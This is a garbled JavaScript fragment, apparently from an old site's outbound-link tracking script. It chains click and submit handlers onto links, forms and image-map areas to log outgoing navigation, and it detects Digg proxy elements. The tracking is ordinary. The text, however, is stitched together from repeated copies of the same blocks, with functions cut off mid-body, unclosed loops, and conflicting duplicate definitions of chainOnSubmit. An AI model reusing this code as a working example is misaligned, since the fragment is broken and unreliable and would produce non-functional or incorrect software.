for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - FORM tags (catches onSubmit event) nodes = baseDocument.getElementsByTagName('form');
for(var index = 0; index < nodes.length; index++) { chainOnSubmit(nodes[index]); }
// - AREA tags (for image maps) nodes = baseDocument.getElementsByTagName('area');
for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - Digg proxy handling // 2008-01-08 Note: Verified that IE reaches this point /* nodes = baseDocument.getElementsByName('blvdDiggProxy'); */
// 2008-01-08: IE handles getElementsByName differently // from Firefox. IE will return only tags with the NAME // attribute set (actually according to spec). So for now // we spoof the process for DIVs, SPANs, and Ps
var possibleDiggs = new Array();
nodes = baseDocument.getElementsByTagName('div'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('span'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('p'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = new Array(); for(var index = 0; index < possibleDiggs.length; index++) { node = possibleDiggs[index];
if (node.getAttribute == 'undefined') continue;
if (node.getAttribute('name') == 'blvdDiggProxy') { nodes.push(node); } }
for(var index = 0; index < nodes.length; index++) { node = nodes[index];
// Check for any recognized digg_* attributes on the node var attributeName; var extraParameters = ''; var compact = false; var url = document.location;
for(var i = 0; i < node.attributes.length; i++) { attributeName = node.attributes[i].name;
if (attributeName.indexOf('digg_') != 0) continue;
function chainOnSubmit(node) { var currentOnSubmit;
currentOnSubmit = node.onsubmit;
node.onsubmit = function() { // Log the click logOutgoingForm(this);
// Execute any existing on click function if (isFunction(currentOnSubmit)) { currentOnSubmit(); } } }
function replaceLinks(baseDocument) { // Find every link: // - A tags var nodes = baseDocument.getElementsByTagName('a');
for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - FORM tags (catches onSubmit event) nodes = baseDocument.getElementsByTagName('form');
for(var index = 0; index < nodes.length; index++) { chainOnSubmit(nodes[index]); }
// - AREA tags (for image maps) nodes = baseDocument.getElementsByTagName('area');
for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - Digg proxy handling // 2008-01-08 Note: Verified that IE reaches this point /* nodes = baseDocument.getElementsByName('blvdDiggProxy'); */
// 2008-01-08: IE handles getElementsByName differently // from Firefox. IE will return only tags with the NAME // attribute set (actually according to spec). So for now // we spoof the process for DIVs, SPANs, and Ps
var possibleDiggs = new Array();
nodes = baseDocument.getElementsByTagName('div'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('span'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('p'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = new Array(); for(var index = 0; index < possibleDiggs.length; index++) { node = possibleDiggs[index];
if (node.getAttribute == 'undefined') continue;
if (node.getAttribute('name') == 'blvdDiggProxy') { nodes.push(node); } }
for(var index = 0; index < nodes.length; index++) { node = nodes[index];
// Check for any recognized digg_* attributes on the node var attributeName; var extraParameters = ''; var compact = false; var url = document.location;
for(var i = 0; i < node.attributes.length; i++) { attributeName = node.attributes[i].name;
if (attributeName.indexOf('digg_') != 0) continue;
var currentSessionId = '<?php echo $sessionId; ?>'; var currentNavigationId = '<?php echo $navigationId; ?>'
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (typeof(object) != 'undefined' && typeof(object) == 'function'); }
function isDefined(object) { return (typeof(object) != 'undefined'); }
/* * Digg friendly URLEncode function -- taken from: * http://cass-hacks.com/articles/code/js_url_encode_decode/ * [CB] Modified to use %20 instead of + for spaces */ function URLEncode (clearString) { var output = ''; var x = 0; clearString = clearString.toString(); var regex = /(^[a-zA-Z0-9_.]*)/; while (x < clearString.length) { var match = regex.exec(clearString.substr(x)); if (match != null && match.length > 1 && match[1] != '') { output += match[1]; x += match[1].length; } else { if (clearString[x] == ' ') output += '%20'; else { var charCode = clearString.charCodeAt(x); var hexVal = charCode.toString(16); output += '%' + ( hexVal.length < 2 ? '0' : '' ) + hexVal.toUpperCase(); } x++; } }
return output; }
function logOutgoingLink(node) { var i = new Image();
function chainOnClick(node) { if (isDefined(node.addEventListener)) { node.addEventListener( 'click', function() { logOutgoingLink(node); }, false ); } else if (isDefined(node.attachEvent)) { node.attachEvent( 'onclick', function() { logOutgoingLink(node); } ); } else { var currentOnClick;
currentOnClick = node.onclick;
node.onclick = function() { // Log the click logOutgoingLink(node);
// Execute any existing on click function if (isFunction(currentOnClick)) { return currentOnClick(); } } } }
function chainOnSubmit(node) { if (isDefined(node.addEventListener)) { node.addEventListener( 'submit', function() { logOutgoingForm(node); }, false ); } else if (isDefined(node.attachEvent)) { node.attachEvent( 'onsubmit', function() { logOutgoingForm(node); } ); } else { var currentOnSubmit;
currentOnSubmit = node.onsubmit;
node.onsubmit = function() { // Log the click logOutgoingForm(node);
// Execute any existing on click function if (isFunction(currentOnSubmit)) { return currentOnSubmit(); } } } }
function replaceLinks(baseDocument) { // Find every link: // - A tags var nodes = baseDocument.getElementsByTagName('a');
for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - FORM tags (catches onSubmit event) nodes = baseDocument.getElementsByTagName('form');
for(var index = 0; index < nodes.length; index++) { chainOnSubmit(nodes[index]); }
// - AREA tags (for image maps) nodes = baseDocument.getElementsByTagName('area');
for(var index = 0; index < nodes.length; index++) { chainOnClick(nodes[index]); }
// - Digg proxy handling // 2008-01-08 Note: Verified that IE reaches this point /* nodes = baseDocument.getElementsByName('blvdDiggProxy'); */
// 2008-01-08: IE handles getElementsByName differently // from Firefox. IE will return only tags with the NAME // attribute set (actually according to spec). So for now // we spoof the process for DIVs, SPANs, and Ps
var possibleDiggs = new Array();
nodes = baseDocument.getElementsByTagName('div'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('span'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = baseDocument.getElementsByTagName('p'); for(var index = 0; index < nodes.length; index++) possibleDiggs.push(nodes[index]);
nodes = new Array(); for(var index = 0; index < possibleDiggs.length; index++) { node = possibleDiggs[index];
if (node.getAttribute == 'undefined') continue;
if (node.getAttribute('name') == 'blvdDiggProxy') { nodes.push(node); } }
for(var index = 0; index < nodes.length; index++) { node = nodes[index];
// Check for any recognized digg_* attributes on the node var attributeName; var extraParameters = ''; var compact = false; var url = document.location;
for(var i = 0; i < node.attributes.length; i++) { attributeName = node.attributes[i].name;
if (attributeName.indexOf('digg_') != 0) continue;
var currentSessionId = '<?php echo $sessionId; ?>'; var currentNavigationId = '<?php echo $navigationId; ?>'
/* * Utility function to test if another object is actually a function. */ function isFunction(object) { return (typeof(object) != 'undefined' && typeof(object) == 'function'); }
function isDefined(object) { return (typeof(object) != 'undefined'); }